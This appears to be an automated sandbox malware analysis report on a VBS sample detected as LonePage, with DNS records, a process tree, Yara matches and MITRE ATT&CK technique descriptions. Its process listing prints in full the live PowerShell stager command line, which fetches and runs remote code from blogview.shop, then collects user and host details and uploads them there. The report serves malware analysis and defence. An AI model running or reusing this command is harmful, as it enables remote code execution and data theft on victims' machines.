Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:50:31.601265907 CEST	192.168.2.6	1.1.1.1	0x60d0	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:50:31.622911930 CEST	1.1.1.1	192.168.2.6	0x60d0	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	07:49:21
Start date:	26/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs"
Imagebase:	0x7ff6e8450000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000002.2122905878.000002959CEB5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000002.2122771795.000002959CC19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000003.2122383427.000002959CC94000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000002.2122876917.000002959CC95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000002.2122771795.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000003.2122072933.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000000.00000002.2122771795.000002959CC46000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:49:21
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000002.00000002.2815705990.0000025CA369D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000002.00000002.2815282835.0000025CA02D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:49:21
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD3449163B Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836858440.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34490000_powershell.jbxd

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Opcode ID: ab4193a2f943a37ac38b80f65b775ec421ac125a385fb66d01ee4a5a4b5045b3
Instruction ID: a5b3c13d6ae449d912c64e95f79ac1d2c238c72b35ab867788b8f1b841abe161
Opcode Fuzzy Hash: ab4193a2f943a37ac38b80f65b775ec421ac125a385fb66d01ee4a5a4b5045b3
Instruction Fuzzy Hash: CAB1E122A0EACA0FF796962808B52B57BD1EF57250B0A00FBD14DC71D7DD6CAC05A351

Function 00007FFD344916CA Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836858440.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34490000_powershell.jbxd

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Opcode ID: e3e84921d16e79d079fd5b30e6b9a80d0521e06514b3d64a2ce996a553ef490e
Instruction ID: fe316da04f3091a039b36c3712ae9728097f34a0b0a4f07d3aa2d7d18003a798
Opcode Fuzzy Hash: e3e84921d16e79d079fd5b30e6b9a80d0521e06514b3d64a2ce996a553ef490e
Instruction Fuzzy Hash: 85412613F0EA870FF79A962C08B527866C2AF87291B4900FAE54DC71E7DD6DAC057211

Function 00007FFD3449424E Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836858440.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34490000_powershell.jbxd

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Opcode ID: 72cc55bd714aa8ee83da8e1d43ee3d2f9013a01c5af06a69a3bff9607c67f596
Instruction ID: b4517cf13399e6d53869033a4c0f1c6135556a9876418e39a55f3bf081790911
Opcode Fuzzy Hash: 72cc55bd714aa8ee83da8e1d43ee3d2f9013a01c5af06a69a3bff9607c67f596
Instruction Fuzzy Hash: 4B110A32B0DA894FEB95DB9CA0A01A8BBD1FF5A314B0401BFD54DC7183DE296841D310

Function 00007FFD343C3B45 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: d7870b758cf34236078431572848b56a655cf04836c151d79887f4b16b3b16a2
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: B301A73020CB0C4FD744EF0CE091AA5B3E0FB85324F10052EE58AC3651D636E881CB42

Non-executed Functions

Function 00007FFD343C20E8 Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 62c82122a053f16269e45b93c845076b9687e35280f026b3131995a94460be5b
Instruction ID: 155ea62cc71574ec493994f33bb42487fba72738dcc903c93958f74dc174cd20
Opcode Fuzzy Hash: 62c82122a053f16269e45b93c845076b9687e35280f026b3131995a94460be5b
Instruction Fuzzy Hash: 43F1A167E4D6C25FE303A66D59F60D53F60EF9326470900FBC2D4CB0A3E919AC4AA761

Function 00007FFD343C2733 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 491e9783977879160503c0087664097c6c759a75295991204ee1e3e34e222b48
Instruction ID: 0b28aac79edf7acb5c95db3281b629c6fea09a31a1d17b8f4f8fcbd0747819c0
Opcode Fuzzy Hash: 491e9783977879160503c0087664097c6c759a75295991204ee1e3e34e222b48
Instruction Fuzzy Hash: 1FB16057E4E7D34BE722A76CA8F61EA7FA09F5322470D01B3C5C88F0A39D1D285A9251

Function 00007FFD343C6311 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 214c51f2ac7ee8c23dd6882bc0980bea132c67954b6bee94003ce0bb3d6a0ca4
Instruction ID: 8dddd061fd254669304b117ae600c34a8f0223c58c8033ef570a5547879700e2
Opcode Fuzzy Hash: 214c51f2ac7ee8c23dd6882bc0980bea132c67954b6bee94003ce0bb3d6a0ca4
Instruction Fuzzy Hash: 5B617047B8E2D25BE352636859B60E93FB4DF5326571900F7C2C4CB0A3D91D580BA392

Function 00007FFD343C5BFA Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 1675b59f48839dda0664f0ffd23ad816bff92300b442f2bf7390d1f81a89c4d6
Instruction ID: 5b603af23e1526ef9c8ba1414ce67feb454b826a81f10e044d56dbdbf84a8a65
Opcode Fuzzy Hash: 1675b59f48839dda0664f0ffd23ad816bff92300b442f2bf7390d1f81a89c4d6
Instruction Fuzzy Hash: 4751F157B4DBA20FE792A27C59F61E52BD0DF6326171840B7C689CB093ED1C1C07A392

Function 00007FFD343C70AA Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836355604.00007FFD343C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd343c0000_powershell.jbxd

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Opcode ID: 86a474372b917068fb7525c834f1987b4f61c79ed1fe5fa5ad41db6fd482d909
Instruction ID: f074fbd58067ec8682458dcba65983390a6a96e0669b4c072a9f8d5f2569d183
Opcode Fuzzy Hash: 86a474372b917068fb7525c834f1987b4f61c79ed1fe5fa5ad41db6fd482d909
Instruction Fuzzy Hash: 2B416D8BB8E7E35BE652A26C19B60D63F90DF5327570810B7CAD4C7093AA1D1C07A352

Function 00007FFD34490EE1 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2836858440.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34490000_powershell.jbxd

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Opcode ID: 93f5c8f8a72be519d34e8c8062347aeb5e3ff85ce44e11708794a0fb035e7372
Instruction ID: f92db04cb3001982f218f85c1acef7eca0cb29691f511841e486ac51df01173e
Opcode Fuzzy Hash: 93f5c8f8a72be519d34e8c8062347aeb5e3ff85ce44e11708794a0fb035e7372
Instruction Fuzzy Hash: C231D443A0EBC60FE7539B3458B51647FA19F53250F1E80F6D588CB0EBE88C9D09A352

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report sAKF0egIZ5.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Spreading

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ce5czcm.1zx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uzcw4r15.alb.psm1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Windows Analysis Report
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